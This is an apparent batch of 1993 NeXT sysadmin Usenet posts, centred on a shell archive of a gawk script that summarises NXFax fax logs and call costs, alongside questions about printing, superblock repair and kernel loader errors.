X if [ `wc -l ${TMPFRCV} | awk -e '{print $1}'` -gt 2 ]
X then
X echo "\n\n RECEIVE FAX\n"
X echo "Date Time Number pgs res kbps xmt errors\n"
X cat ${TMPFRCV}
X fi
X echo
X) > ${TMPFSUM} 2>&1
X#
Xif [ `wc -l ${TMPFSUM} | awk -e '{print $1}'` -gt 3 ]
Xthen
X cat ${TMPFSUM} | eval ${CMD}
Xfi
X#
Xcleanup
X#
Xexit 0
NeXT!
if test 15539 -ne "`wc -c < 'nxfaxsummary.sh'`"
then
echo shar: error transmitting "'nxfaxsummary.sh'" '(should have been 15539 characters)'
fi
chmod +x 'nxfaxsummary.sh'
fi # end of overwriting check
echo shar: extracting "'README'" '(1776 characters)'
if test -f 'README'
then
echo shar: will not over-write existing file "'README'"
else
sed 's/^X//' << \NeXT! > 'README'
X
XNXFAXSUMMARY 1.0 April 8, 1993
X
XThis shell script reads the log file of NXFax versions 1.02 and
X1.03 and summarizes Fax traffic.
X
XUSAGE
X nxfaxsummary.sh [ -help | -sample ]
X nxfaxsummary.sh [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]
X
XBy default, the script will search for a log file in the
Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". An
Xalternate log file can be specified with the option -l or as
Xfirst argument to the script.
X
XIt will also look for a file called "nxfax.cost" in that
Xdirectory describing the calling costs for various times and
Xphone number prefixes. Invoking the script with the option
X"-sample" will print a sample nxfax.cost. An extremely
Xdetailed example is contained in nxfax.cost.detailed. An
Xalternate cost description file can be specified with the
Xoption "-c <costfile>". If no readable cost description file
Xis found, only a summary of transmit time and average transmit
Xtime per page is calculated.
X
XWith the option -m <address_list>, the summary is sent to the
Xrecipients specified in address_list.
X
XINSTALLATION
X
XCopy the files nxfaxsummary.sh and nxfax.cost into
X/etc/nxfax if you use NXFax version 1.02, or into
X/usr/adm/nxfax if you use NXFax version 1.03. you need to have
Xsuperuser privileges to do this. Edit nxfax.cost as
Xappropriate for your site, see the instructions in
Xnxfax.cost.
X
XLIMITATIONS
X
XThe cost computation does not care about the time of day a fax
Xwas sent, even though most phone companies charge differently
Xoutside of business hours.
X
XAUTHORS
X
XAndreas Muller
XMathematisches Insitut der Universitaet
XIm Neuenheimer Feld 288
XW-6900 Heidelberg 1
XGermany
X[afm@mathi.uni-heidelberg.de]
X
XAdrian Steinmann
XSteinmann Consulting
XApollostrasse 21
XCH-8032 Zurich
XSwitzerland
X[ast@lia.di.epfl.ch]
NeXT!
if test 1776 -ne "`wc -c < 'README'`"
then
echo shar: error transmitting "'README'" '(should have been 1776 characters)'
fi
fi # end of overwriting check
echo shar: extracting "'nxfax.cost'" '(2263 characters)'
if test -f 'nxfax.cost'
then
echo shar: will not over-write existing file "'nxfax.cost'"
else
sed 's/^X//' << \NeXT! > 'nxfax.cost'
X#
X# NXFax Summary cost computation parameter file
X#
X# this file is read by nxfaxsummary.sh and used to compute
X# approximate cost of fax traffic. The precision of this
X# computation depends highly on the amount of detail given
X# in this file.
X#
X# FORMAT: there are three types of lines:
X#
X# $<currency-string>
X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments>
X# +<prefix>:<comments>
X#
X# The line beginning with $ indicates the currency-string to use in
X# the summary.
X# Lines beginning with : give cost computation parameters
X# Lines beginning with + are called summary lines and are used
X# to indicate how costs have to be summarized by nxfaxsummary.sh
X#
X# nxfaxsummary.sh scans the called phone number and uses the parameters
X# associated with the first matching <prefix> to compute the costs for
X# this call. If t is the connect time in seconds, then the cost is computed
X# according to the formula
X#
X# cost = connect-cost + (t/unit-time)*unit-cost
X#
X# connect-cost is the minimum fee per connection (0 in most situations)
X# this can be used to account for the fact that connect
X# time measured by NXFax usually is shorter than effective
X# duration of call due to initial handshake
X# unit-time is the duration in seconds of a time unit,
X# unit-cost is the price of one unit,
X# currency-string (self evident).
X#
X# Then nxfaxsummary.sh matches these computations against the prefixes
X# in the summary lines to condense the summary down to the informative
X# minimum.
X#
X# Lines beginning with # are ignored.
X#
X# EXAMPLE
X$DM
X:0041:0:12:0.23:calls to Switzerland
X:00:0:12:0.23:other international calls
X+00:International calls:
X:0:0:60:0.23:calls within Germany (Fernzone)
X::0:360:0.23:local calls (Nahzone)
X+:calls within Germany:
X#
X# the nxfax.cost file should always include a line beginning
X# with empty prefix string, this will be used as the default
X# for phone numbers that don't match any other prefix. The
X# same is true for summary lines: the minimum summary line
X# ist
X# +:
X#
X# Most phone companies charge differently during business hours
X# and outside of business hours, use the parameters that are
X# valid at those times when You send faxes.
X#
X# To be done: - differentiate between rates
X#
NeXT!
if test 2263 -ne "`wc -c < 'nxfax.cost'`"
then
echo shar: error transmitting "'nxfax.cost'" '(should have been 2263 characters)'
fi
fi # end of overwriting check
echo shar: extracting "'nxfax.cost.detailed'" '(1446 characters)'
if test -f 'nxfax.cost.detailed'
then
echo shar: will not over-write existing file "'nxfax.cost.detailed'"
else
sed 's/^X//' << \NeXT! > 'nxfax.cost.detailed'
X#
X# nxfax.cost.detailed
X#
X# nauseatingly detailed nxfax.cost file
X#
X# We are in Germany:
X$DM
X#
X# Here are international connections
X:0020:0:10.666:0.23:Aegypt
X:00355:0:10.666:0.23:Albania
X:00213:0:10.666:0.23:Algeria
X:0033:0:12:0.23:Andorra
X:0032:0:12:0.23:Belgium
X:00359:0:10.666:0.23:Bulgaria
X:0045:0:12:0.23:Danemark
X:00298:0:12:0.23:Faeroer
X:00358:0:10.666:0.23:Findland
X:0033:0:12:0.23:France
X:00350:0:10.666:0.23:Gibraltar
X:0030:0:12:0.23:Greece
X:0044:0:12:0.23:Great Britain and Northern Ireland
X:007:0:10.666:0.23:GUS (Ex USSR)
X:00353:0:12:0.23:Ireland
X:00354:0:10.666:0.23:Iceland
X:00972:0:10.666:0.23:Israel
X:0039:0:12:0.23:Italy
X:00962:0:10.666:0.23:Jordan
X:0038:0:10.666:0.23:Jugoslavia
X:00218:0:10.666:0.23:Libya
X:004175:0:12:0.23:Lichtenstein
X:00352:0:12:0.23:Luxemburg
X:00356:0:10.666:0.23:Malta
X:00212:0:10.666:0.23:Marokko
X:003393:0:12:0.23:Monaco
X:0031:0:12:0.23:Netherlands
X:0043:0:12:0.23:Austria
X:0048:0:12:0.23:Poland
X:0042:0:12:0.23:Checkoslovakia
X:0034:0:12:0.23:Spain
X:0047:0:10.666:0.23:Norway
X:0040:0:10.666:0.23:Romania
X:0046:0:10.666:0.23:Sweden
X:00963:0:10.666:0.23:Syria
X:0090:0:10.666:0.23:Turkey
X:00216:0:10.666:0.23:Tunesia
X:0036:0:10.666:0.23:Hungary
X:00357:0:10.666:0.23:Cyprus
X:001:0:7:0.23:Tarifzone 2a
X:00:0:4.42:0.23:Tarifzone 3
X+00:International calls:
X#
X# Calls within Germany
X:06:0:60:0.23:Regional Zone
X:0:0:21:0.23:Long distance (Weitzone)
X::0:360:0.23:Local Calls (Ortszone)
X+:Calls within Germany:
NeXT!
if test 1446 -ne "`wc -c < 'nxfax.cost.detailed'`"
then
echo shar: error transmitting "'nxfax.cost.detailed'" '(should have been 1446 characters)'
fi
fi # end of overwriting check
echo shar: extracting "'SAMPLE_OUTPUT'" '(1733 characters)'
if test -f 'SAMPLE_OUTPUT'
then
echo shar: will not over-write existing file "'SAMPLE_OUTPUT'"
else
sed 's/^X//' << \NeXT! > 'SAMPLE_OUTPUT'
XNXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17
X
X SEND FAX
X
XDate Time Number pgs res kbps xmt conn errors
X
X23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors.
X23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors.
X 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors.
X 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors.
X11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors.
X19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors.
X25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors.
X27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors.
X
XCost summary connect cost
XInternational calls: 0:08:33 ~ 7.37 DM
Xcalls within Germany: 0:00:00 ~ 0.00 DM
XTotal cost: 7.37 DM
X
XTotal transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page
X
X
X RECEIVE FAX
X
XDate Time Number pgs res kbps xmt errors
X
X16 Jan 09:28:36 1 hi 9.6 02:47 No errors.
X17 Feb 08:39:57 2 hi 4.8 02:51 No errors.
X19 Feb 17:09:12 1 hi 9.6 00:33 No errors.
X19 Feb 17:20:47 1 hi 9.6 00:38 No errors.
X26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors.
X
XTotal transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page
X
NeXT!
if test 1733 -ne "`wc -c < 'SAMPLE_OUTPUT'`"
then
echo shar: error transmitting "'SAMPLE_OUTPUT'" '(should have been 1733 characters)'
fi
fi # end of overwriting check
echo shar: done with directory "'nxfaxsummary'"
cd ..
# End of shell archive
exit 0
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: "Steve Hayman" <sahayman@cs.indiana.edu>
Subject: Re: NeXTOS and PPD files!?!?!
Message-ID: <1993Apr8.162815.5549@news.cs.indiana.edu>
Organization: Objectario
References: <C52wEI.KL3@dove.nist.gov> <1993Apr8.112027.189@news.cs.indiana.edu>
Date: Thu, 8 Apr 1993 16:27:53 -0500
Um, in retrospect the solution I was suggesting won't work exactly as
stated, 'cause I think lpd only runs the "if=" input filter on
the machine which it thinks is actually doing the spooling - i.e. the machine
named by the "rm=" thing and if you had "rm=actualPrinterItself", nobody
would run the custom input filter.
I am sure thre is a way around this, possibly by having all your NeXTs spool
your output to a central NeXT, and having that one run the input filter *but*
as the last stage in the filter, after the postscript has been filtered through
psprepare, pipe it into "lpr -PTheActualPrinter". A two-stage process,
using two printer definitions in NetInfo.
Not the most elegant solution but it might work well enough.
Newsgroups: comp.sys.next.sysadmin
From: zenon@resonex.com (Zenon Fortuna)
Subject: Re: Bad super-block...now what?
Message-ID: <1993Apr8.140809.4197@resonex.com>
Organization: Resonex Inc., Fremont CA
References: <1993Apr6.071515.7748@ncsa.uiuc.edu> <1993Apr6.165750.9816@bluerose.com>
Distribution: na
Date: Thu, 8 Apr 1993 14:08:09 GMT
In article <1993Apr6.165750.9816@bluerose.com> M_Carling@BlueRose.com (M Carling) writes:
>In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu
>(Kenneth Chang) writes:
>> In the process of trying to upgrade from 2.1 to 3.0, I appear to have
>> severely hosed the hard disk.
>
>How many times do I have to post that 2.1 to 3.0 should be done using
>BuildDisk.app rather than Upgrade.app?
>
>M Carling
>President, Bay Area NeXT Group
Anyway, you may try to repair the superblock. The "fsck" has the option to
use an alternate superblock. As superuser type
# fsck -b 16 /dev/rsd0a
It would make sense to boot first from a Bootable floppy.
-Z.
From: bryan@kolsky.tamu.edu (Bryan Milligan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: One way to forward mail to different mailboxes.
Date: 9 Apr 1993 00:39:42 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1q2gkeINNj6n@tamsun.tamu.edu>
Keywords: mail, mailforward, mailbox
Since I posted my original question on how to forward mail
to different mailboxes, I've received numerous requests for the
answers. The first thing to do is to get the following:
mailforward (readily available)
perl (also readily available)
Uncompress and untar and you're halfway there. The trick to installing
perl on a NeXT is to be aware the the include files are in two
different directories: /usr/include/ansi and /usr/include/bsd.
Either tell the configure script to look in both places or create
one linked directory, otherwise it's pretty straightforward.
Mailforward is a perl script that sorts the incoming mail
according to user specified strings in the mail header.
Installation is relatively simple; however, to work correctly the
destination mailboxes must not be open or all the mail winds up in
Active.mbox (or the default), even if mail is hidden.
Hope this helps.
--
Bryan Milligan Voice: (409) 845-7541
Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
(NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin
From: got@xanthus (Gordon O Tillman)
Subject: Printing Mac (System 7) P.S. on NeXT Laserprinter
Message-ID: <C564DB.2q1@shellgate.shell.com>
Sender: usenet@shellgate.shell.com (USENET News System)
Organization: Shell Oil
Distribution: usa
Date: Thu, 8 Apr 1993 14:03:11 GMT
Hello all,
I have failed miserably in my recent attempts to print PostScript files
created on the Mac (which is running System 7) on my NeXT laserprinter.
I looked in the faq file and didn't see an answer, and also tried applying
some information that was thoughfully provided to me by Ken Lui, which was:
> I've had success transferring postscript files from the Mac to
> the NeXT and printing them. When generating the postscript files
> from the Mac, at the print dialog box, issue Command-K, not
> Command-F. Command-K tells the driver to write the laserprep
> header that's needed to process Mac-specific print files. Edit
> the resultant postscript# file so the first line contains
> %!PS-Adobe-2.0. The default laserprep header doesn't have this
> so the NeXT will think you're printing a normal file without it,
> giving you streams and streams of postscript source code.
> Alternatively, you can hack the laserprep LROM and include it.
> (It's in LaserPrep, resource POST, ID -8192, string #1. After
> modifying, it should look like:
> %!PS-Adobe-2.0
> %%Title: "Laser Prep -- The Apple PostScript Dictionary (md)"
> %%Creator: Apple Software Engineering
> %%CreationDate: Thursday, March 19, 1987
> )
> I've used the above to print stuff from MS WORD 4.00, even the
> tables feature...the application from hell...if it works,
> anything should :-) BTW, the NeXT doesn't do bitmap smoothing
> although you can get some info on that type of support on
> sumex-aim.stanford.edu...
I remember trying this when I ran System 6 on the Mac and it seemed to
work fine. But now, when I opened my postscript file, I saw that it
already had the "%!PS-Adobe-2.0" entry as the first line...
Now, I can take this same file and put it on a Sun workstation and
lpr it to the Sun's laserprinter (which is really no surprise, as
I believe Apple makes Sun's laserprinters).
If anyone can suggest an alternative method that might make this work,
I would be much obliged.
Gordon
--
Gordon O. Tillman Shell Oil Company
Technical Customer Support - Infrastructure 1500 O.S.T., Rm. 7Q04
Email: got@shell.com, Profs: GOT Houston, TX 77054
Voice: 713-245-2777, Fax: 713-245-2659, SSN: 423-2777
From: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Newsgroups: comp.sys.next.sysadmin
Subject: Trouble with booting next: kern_loader: Link Failed: Help!
Message-ID: <1993Apr8.225216.51940@slate.mines.colorado.edu>
Date: 8 Apr 93 22:52:16 GMT
Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Organization: Colorado School of Mines
Hi,
Suddenly the other day my Cube crashed, and when I rebooted, I got
the following error messages:
Apr 7 16:15:21 franklinite mach: master cpu at slot 0.
Apr 7 16:15:23 franklinite netmsgserver[72]: network_init
Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:26 franklinite kern_loader: kern_loader: server mididriver
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server mididriver
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't
link
Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't
link
Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't
link
Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't
link
....
Apr 7 16:33:43 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:33:43 franklinite WindowServer[173]: Problem starting the
NeXTdimension.psdrvr driver. Continuing.
My SysAdmin tells me she's seen these messages before, but they never
interfered with a machine. However, I have a NextDimension, and now
the console won't display any windows. However, the rest of the
computer works fine!
Please help me if you've seen this before!
--Lori
--
L. Y. Pratt Dept. of Math and Computer Science
lpratt@franklinite.mines.colorado.edu Colorado School of Mines
(303) 273-3878 (work) 402 Stratton
(303) 278-4552 (home) Golden, CO 80401, USA
From: root@sent5.uni-duisburg.de (Operator)
Newsgroups: comp.sys.next.sysadmin
Subject: 40 feet long NeXT printer cable ????
Date: 8 Apr 1993 12:39:28 GMT
Organization: Universitaet Duisburg GH
Message-ID: <1q16e0INN7gl@unidui.uni-duisburg.de>
Hallo folks,
We tried to connect a NeXT printer to a NeXT with a 40 feet cable,
it doesn't work. We varied the length, but with a 35 feet cable it doesn't
work too. What shall we do? Is it possible to develop an interface with
buffers? Who knows something about the connector and the signals?
Who has an idea?
Thanks,
Wolfgang Kruell
Newsgroups: comp.sys.next.sysadmin
From: cpl1@kimbark.uchicago.edu (Corey Liss)
Subject: "Printer description file not available"
Message-ID: <1993Apr9.043137.29895@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: The Lunatic Fringe
Date: Fri, 9 Apr 1993 04:31:37 GMT
Something strange has suddenly started happening with the NeXT printing
around here; all NeXT apps are abruptly unable to print, instead giving
the message "Printer description file not available". Root doesn't have
these difficulties, so I'd assume that a permission got changed somewhere;
however, all the files in /NextLibrary/PrinterTypes and /usr/lib/NextPrinter
are world-readable, and all directories are set world-readable and -executable.
So where's the problem? The only "Printer description file" I can think of
is the .ppd files in /NextLibrary/PrinterTypes, which haven't changed;
the printers are still standard NeXT Level II 400 dpi, and it's still
NextStep 3.0... Is there another description file in some obscure location
that I'm missing?
Desparately looking for advice...
-Corey Liss
cpl1@midway.uchicago.edu
clue@amber.uchicago.edu
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Pt 1/4: NXFax logfile summary
Message-ID: <734345081.AA00520@his.com>
Date: Thu, 08 Apr 1993 23:21:18
Organization: Informatik Club Uni Zurich
Are you running NXFax 1.02 or 1.03 ?
Then surely you'd like a report like this from time to time:
-------!!------------!!-------------!!-------------!!------------!!-------
NXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17
SEND FAX
Date Time Number pgs res kbps xmt conn errors
23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors.
23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors.
1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors.
6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors.
11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors.
19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors.
25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors.
27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors.
Cost summary connect cost
International calls: 0:08:33 ~ 7.37 DM
calls within Germany: 0:00:00 ~ 0.00 DM
Total cost: 7.37 DM
Total transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page
RECEIVE FAX
Date Time Number pgs res kbps xmt errors
16 Jan 09:28:36 1 hi 9.6 02:47 No errors.
17 Feb 08:39:57 2 hi 4.8 02:51 No errors.
19 Feb 17:09:12 1 hi 9.6 00:33 No errors.
19 Feb 17:20:47 1 hi 9.6 00:38 No errors.
26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors.
Total transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page
-------!!------------!!-------------!!-------------!!------------!!-------
Well, if you would, just cut here and unpack using /bin/sh.
------>c ------------>c ------------>c ------------>c------------>c-------
#! /bin/sh
# This is a shell archive, meaning:
# 1. Remove everything above the #! /bin/sh line.
# 2. Save the resulting text in a file.
# 3. Execute the file with /bin/sh (not csh) to create the files:
# nxfaxsummary
# This archive created: Thu Apr 8 22:48:07 1993
# By: Adrian Steinmann <ast@lia.di.epfl.ch>
export PATH; PATH=/bin:$PATH
if test ! -d 'nxfaxsummary'
then
echo shar: creating directory "'nxfaxsummary'"
mkdir 'nxfaxsummary'
fi
echo shar: entering directory "'nxfaxsummary'"
cd 'nxfaxsummary'
echo shar: extracting "'nxfaxsummary.sh'" '(15539 characters)'
if test -f 'nxfaxsummary.sh'
then
echo shar: will not over-write existing file "'nxfaxsummary.sh'"
else
sed 's/^X//' << \NeXT! > 'nxfaxsummary.sh'
X#!/bin/sh -
X#
X# NXFax accounting 1.0 - a gawk script to summarize NXFax usage
X# by Andreas Mueller [afm@mathi.uni-heidelberg.de] and
X# Adrian Steinmann [ast@lia.di.epfl.ch]
X#
X#
XPATH=/bin:/usr/bin:/usr/ucb:/etc:/usr/etc
XIFS='
X'
Xexport PATH IFS
X#
XTRIMDAYS=30 # how many days to wait between trimming
XKEEPLINES=200 # how many lines to inherit when trimming
X#
X# define LOGFILE here, possibly override later
X#
X# NXFax 1.03 uses /usr/adm/nxfax/nxfaxlog
XNXFAXDIR=/usr/adm/nxfax
Xif [ ! -d ${NXFAXDIR} ]
Xthen
X # NXFax 1.02 uses /etc/nxfax/nxfaxlog
X NXFAXDIR=/etc/nxfax
X if [ ! -d ${NXFAXDIR} ]
X then
X echo "Fatal error: Cannot find NXFax log file directory" >&2
X usage
X fi
Xfi
X#
XLOGFILE=${NXFAXDIR}/nxfaxlog
X#
X# OLOGFILE is where we put the log file when we trim
X#
XOLOGFILE="${LOGFILE}.old"
X#
X# COSTFILE, usually in same directory as logfile, possibly override below
X#
X: ${COSTFILE:=${NXFAXDIR}/nxfax.cost}
X#
X# we use GNU awk for builtin and custom functions
X#
XGAWK=/usr/local/bin/gawk
X#
X# this is what we say as a heading and subject line in case of mail (-m
option)
X#
XWELCOME="NXFax Accounting @ `hostname`"
X#
X# CMD may be changed to "Mail -s '${WELCOME}' $recipients" below (-m option)
X#
XCMD=cat
X#
Xexport CMD WELCOME GAWK COSTFILE LOGFILE OLOGFILE NXFAXDIR KEEPLINES
TRIMDAYS
X#
X# temporary files are cleanup up on exit or trap
X#
XTMPFHED=/tmp/faxhed$$
XTMPFSND=/tmp/faxsnd$$
XTMPFCST=/tmp/faxcst$$
XTMPFPAR=/tmp/faxcst$$
XTMPFRCV=/tmp/faxrcv$$
XTMPFSUM=/tmp/faxsum$$
X#
Xexport TMPFHED TMPFSND TMPFCST TMPFPAR TMPFRCV TMPFSUM
X#
Xumask 077
X#
Xhelp ()
X{
Xecho
Xcat<<!!
XThis shell script uses GNU-awk '$GAWK' to
Xparse log files generated by NXFax versions 1.02 and 1.03. By
Xdefault, the script will search for a NXFax log file in the
Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". It will
Xalso look for a file called "nxfax.cost" in that directory
Xdescribing the calling costs for various times and phone
Xprefixes. For an example cost description file, invoke this
Xscript with the option "-sample". If the cost description file
Xis missing, a simple grand total summary is calculated.
XAlternate cost description or NXFax log files can be specified
Xvia the -c and -l options respectively. With the option -m
X<address_list>, the summary is sent to the recipients
Xspecified in address_list.
X!!
Xecho
Xusage
X}
X#
Xusage ()
X{
X echo "Usage: $0 [ -help | -sample ]" >&2
X echo " $0 [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]" >&2
X exit 1
X}
X#
Xcleanup ()
X{
X rm -f ${TMPFHED} ${TMPFSND} ${TMPFPAR} ${TMPFCST} ${TMPFRCV} ${TMPFSUM}
X}
X#
X# note that NXFax 1.02 and 1.03 trims itself to 1000 lines at startup time
X#
Xtrimlog ()
X{
Xif [ -f ${OLOGFILE} ]
Xthen
X (find ${OLOGFILE} -mtime +${TRIMDAYS} -print |
X grep ${OLOGFILE} ) > /dev/null 2>&1
X if [ $? -eq 0 ]
X then
X ( cp -p ${LOGFILE} ${OLOGFILE} &&
X tail -${KEEPLINES} ${LOGFILE}.old > ${LOGFILE} &&
X echo "${LOGFILE} rotated to ${OLOGFILE}, ${KEEPLINES} lines kept"
X ) 2> /dev/null
X fi
Xelse
X # if the old file doesn't exist, create it today so that
X # trimlog() will begin to rotate after ${TRIMDAYS}
X touch ${OLOGFILE}
Xfi
X}
X#
Xsample ()
X{
Xcat<<!!
X# Sample cost desciption file: '${NXFAXDIR}/nxfax.cost'
X#
X# This file is used by the nxfaxsummary shell script to compute the
X# approximate costs of outgoing fax traffic. Its precision depends
X# highly on the amount of detail given in this file.
X#
X# FORMAT DESCRIPTION - there are three types of lines:
X#
X# $<currency-string>
X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments>
X# +<prefix>:<comments>
X#
X# The '$' line defines a currency string to be used in the summary.
X# Lines beginning with ':' define cost computation parameters.
X# Lines beginning with '+' are called summary lines and are used
X# to indicate how costs should be summarized by nxfaxsummary.sh
X#
X# The script scans the called phone number and uses the parameters
X# associated with the first matching <prefix> to compute the costs
X# for such a call. If t is the connect time in seconds, then the
X# cost is computed according to the formula
X#
X# cost = connect-cost + (t/unit-time)*unit-cost
X#
X# connect-cost is the minimum fee per connection (0 in most situations)
X# this can be used to account for connect time measured
X# by NXFax which is usually shorter than the effective
X# duration of a call including initial handshake time;
X# unit-time is the duration (in seconds) of a time unit;
X# unit-cost is the price of one such unit-time.
X#
X# In the final summary, these computations are cumulatively grouped
X# according to the prefixes in the summary lines (the '+' lines).
X#
X# Empty lines and lines beginning with a '#' are ignored.
X#
X# EXAMPLE COST DESCRIPTION (for Germany)
X\$DM
X:0041:0:12:0.23:Calls to Switzerland
X:00:0:12:0.23:Other international calls
X+00:International calls:
X:0:0:60:0.23:Long distance calls within Germany (Regionalzone)
X::0:360:0.23:Local calls
X+:Calls within Germany:
X#
X# The cost description file should always include a line beginning
X# with an empty prefix string, this is used as the default for phone
X# numbers that don't match any other prefix. The same is true for
X# summary lines. Note that the comments of the summary lines are
X# used as line item titles, hence they are often ended with a ':'.
X#
X# In other words, a minimum cost file may consist of just three lines:
X#
X# \$\$
X# ::0:3600:1.20:Detailed cost description
X# +:Detailed summary description:
X#
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Pt 2/4: NXFax logfile summary
Message-ID: <734345081.AA00521@his.com>
Date: Thu, 08 Apr 1993 23:21:18
X# If no cost description file is found nor specified, then a simple total
X# transmit time and average per page is output.
X#
X# Most phone companies charge differently during and after business hours
X# - use the parameters that are likely to be valid when *you* send faxes.
X#
X# To be done: - differentiate between rates during different time periods
X#
X!!
Xexit 0
X}
X#
Xtrap 'cleanup; exit 9' 2 3 15
X#
X# parse options - default is output to stdout (use -m option to mail)
X#
Xdorecipients=0
Xdocost=0
Xdolog=0
Xwhile [ $# -gt 0 ]
Xdo
X while [ $dorecipients -ge 1 -a $# -gt 0 ]
X do
X dorecipients=2
X case x$1 in
X x-*)
X break
X ;;
X *)
X recipients="$recipients $1"
X CMD="Mail -s '${WELCOME}' $recipients"
X shift
X ;;
X esac
X done
X if [ $dorecipients -eq 2 -a `echo $recipients | wc -w` -eq 0 ]
X then
X echo "Fatal error: -m option lacks at least one addressee" >&2
X usage
X else
X dorecipients=0
X fi
X if [ $docost -eq 1 -o $dolog -eq 1 ]
X then
X if [ $# -gt 0 ]
X then
X if [ ! -r $1 ]
X then echo "Fatal error: file '$1' unreadable" >&2
X usage
X else
X if [ $dolog -eq 1 ]
X then
X LOGFILE=$1
X dolog=2
X else
X COSTFILE=$1
X docost=2
X fi
X fi
X shift
X else
X echo "Fatal error: option lacks an argument" >&2
X usage
X fi
X fi
X case x$1 in
X x-m)
X shift
X if [ $dorecipients -ne 0 -o $# -lt 1 ]; then usage; fi
X dorecipients=1
X ;;
X x-c)
X if [ $docost -ne 0 ]; then usage; fi
X shift; docost=1
X ;;
X x-l)
X if [ $dolog -ne 0 ]; then usage; fi
X shift; dolog=1
X ;;
X x-h*)
X help
X ;;
X x-s*)
X sample
X ;;
X x-*)
X usage
X ;;
X *)
X dolog=1
X ;;
X esac
Xdone
X#
Xif [ ! -r $LOGFILE ]
Xthen
X echo "Fatal error: Log file '${LOGFILE}' unreadable" >&2
X usage
Xfi
XOLOGFILE="${LOGFILE}.old"
X#
X# Finally do some real work: find first and last date in logfile
X#
X( echo -n "\n${WELCOME} "
X ${GAWK} '
X BEGIN { found=1; }
X $3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \
X { date=sprintf("%2d %s %d %s",$5,$4,$7,$6);
X if (found) { printf("from %s ",date)
X found=0 }
X }
X END { printf("to %s\n",date); }' ${LOGFILE}
X) > ${TMPFHED} 2>&1
X#
X# now search logfile for faxes sent, collect information in ${TMPFSND}
X#
X${GAWK} \
X 'function resetvars() { connected=false; call=false
X speed="?"; res="?"; errors="?"; number="?"
X ctime="?"; ttime="?"; pages=0
X date=" ? ? ? "; calldate=date
X }
X function printsummary() { printf("%16s %-20s %3s %2s %4s %5s %5s
%s\n",
X calldate,number,pages,substr(res,1,2),
X speed,
X ttime,ctime,errors)
X }
X
XBEGIN { true=1; false=0; resetvars() }
X$3 ~ /(Sun)|(Mon)|(Tue)|(Wed)|(Thu)|(Fri)|(Sat)/ \
X { date=sprintf("%2d %s %s",$5,$4,$6) }
X# Note that NXFax 1.03 frequently contains the line
X# "%> NXFax: caller id or silent answer forces rings to 3"
X$3 ~ /call/ { if ($4 !~ /complete/ && $8 !~ /forces/ ) {
X call=true; number=substr($0,15,20)
X }
X }
X$3 ~ /line/ { if ($4 ~ /busy/) { calldate=date } }
X$3 ~ /Connected/ { if (call==true) { connected=true; calldate=date } }
X$4 ~ /resolution/ { res=$3 }
